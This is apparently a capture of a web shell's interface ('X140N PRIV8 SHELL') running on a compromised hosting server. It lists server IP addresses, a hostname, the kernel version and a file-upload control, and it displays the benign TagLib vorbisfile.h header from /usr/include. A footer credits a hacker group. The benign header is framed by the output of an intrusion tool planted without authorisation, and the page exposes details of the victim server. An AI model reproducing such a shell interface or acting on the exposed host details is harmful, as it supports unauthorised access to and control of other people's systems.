./X140N PRIV8 SHELL
:
216.73.216.124
:
188.40.95.74 / mail.vlasotince.tv
:
Linux cp01.striminghost.net 3.10.0-1160.119.1.el7.tuxcare.els13.x86_64 #1 SMP Fri Nov 22 06:29:45 UTC 2024 x86_64
:
/
usr
/
include
/
taglib
/
Upload File:
files >> //usr/include/taglib/vorbisfile.h
/*************************************************************************** copyright : (C) 2002 - 2008 by Scott Wheeler email : wheeler@kde.org ***************************************************************************/ /*************************************************************************** * This library is free software; you can redistribute it and/or modify * * it under the terms of the GNU Lesser General Public License version * * 2.1 as published by the Free Software Foundation. * * * * This library is distributed in the hope that it will be useful, but * * WITHOUT ANY WARRANTY; without even the implied warranty of * * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * * Lesser General Public License for more details. * * * * You should have received a copy of the GNU Lesser General Public * * License along with this library; if not, write to the Free Software * * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA * * 02110-1301 USA * * * * Alternatively, this file is available under the Mozilla Public * * License Version 1.1. You may obtain a copy of the License at * * http://www.mozilla.org/MPL/ * ***************************************************************************/ #ifndef TAGLIB_VORBISFILE_H #define TAGLIB_VORBISFILE_H #include "taglib_export.h" #include "oggfile.h" #include "xiphcomment.h" #include "vorbisproperties.h" namespace TagLib { /* * This is just to make this appear to be in the Ogg namespace in the * documentation. The typedef below will make this work with the current code. * In the next BIC version of TagLib this will be really moved into the Ogg * namespace. */ #ifdef DOXYGEN namespace Ogg { #endif //! A namespace containing classes for Vorbis metadata namespace Vorbis { //! An implementation of Ogg::File with Vorbis specific methods /*! * This is the central class in the Ogg Vorbis metadata processing collection * of classes. It's built upon Ogg::File which handles processing of the Ogg * logical bitstream and breaking it down into pages which are handled by * the codec implementations, in this case Vorbis specifically. */ class TAGLIB_EXPORT File : public Ogg::File { public: /*! * Contructs a Vorbis file from \a file. If \a readProperties is true the * file's audio properties will also be read using \a propertiesStyle. If * false, \a propertiesStyle is ignored. */ File(FileName file, bool readProperties = true, Properties::ReadStyle propertiesStyle = Properties::Average); /*! * Contructs a Vorbis file from \a file. If \a readProperties is true the * file's audio properties will also be read using \a propertiesStyle. If * false, \a propertiesStyle is ignored. * * \note TagLib will *not* take ownership of the stream, the caller is * responsible for deleting it after the File object. */ File(IOStream *stream, bool readProperties = true, Properties::ReadStyle propertiesStyle = Properties::Average); /*! * Destroys this instance of the File. */ virtual ~File(); /*! * Returns the XiphComment for this file. XiphComment implements the tag * interface, so this serves as the reimplementation of * TagLib::File::tag(). */ virtual Ogg::XiphComment *tag() const; /*! * Implements the unified property interface -- export function. * This forwards directly to XiphComment::properties(). */ PropertyMap properties() const; /*! * Implements the unified tag dictionary interface -- import function. * Like properties(), this is a forwarder to the file's XiphComment. */ PropertyMap setProperties(const PropertyMap &); /*! * Returns the Vorbis::Properties for this file. If no audio properties * were read then this will return a null pointer. */ virtual Properties *audioProperties() const; virtual bool save(); private: File(const File &); File &operator=(const File &); void read(bool readProperties, Properties::ReadStyle propertiesStyle); class FilePrivate; FilePrivate *d; }; } /* * To keep compatibility with the current version put Vorbis in the Ogg namespace * only in the docs and provide a typedef to make it work. In the next BIC * version this will be removed and it will only exist in the Ogg namespace. */ #ifdef DOXYGEN } #else namespace Ogg { namespace Vorbis { typedef TagLib::Vorbis::File File; } } #endif } #endif
Copyright © 2022 F4D3D GH05TS BANGLADESH | All Rights Reserved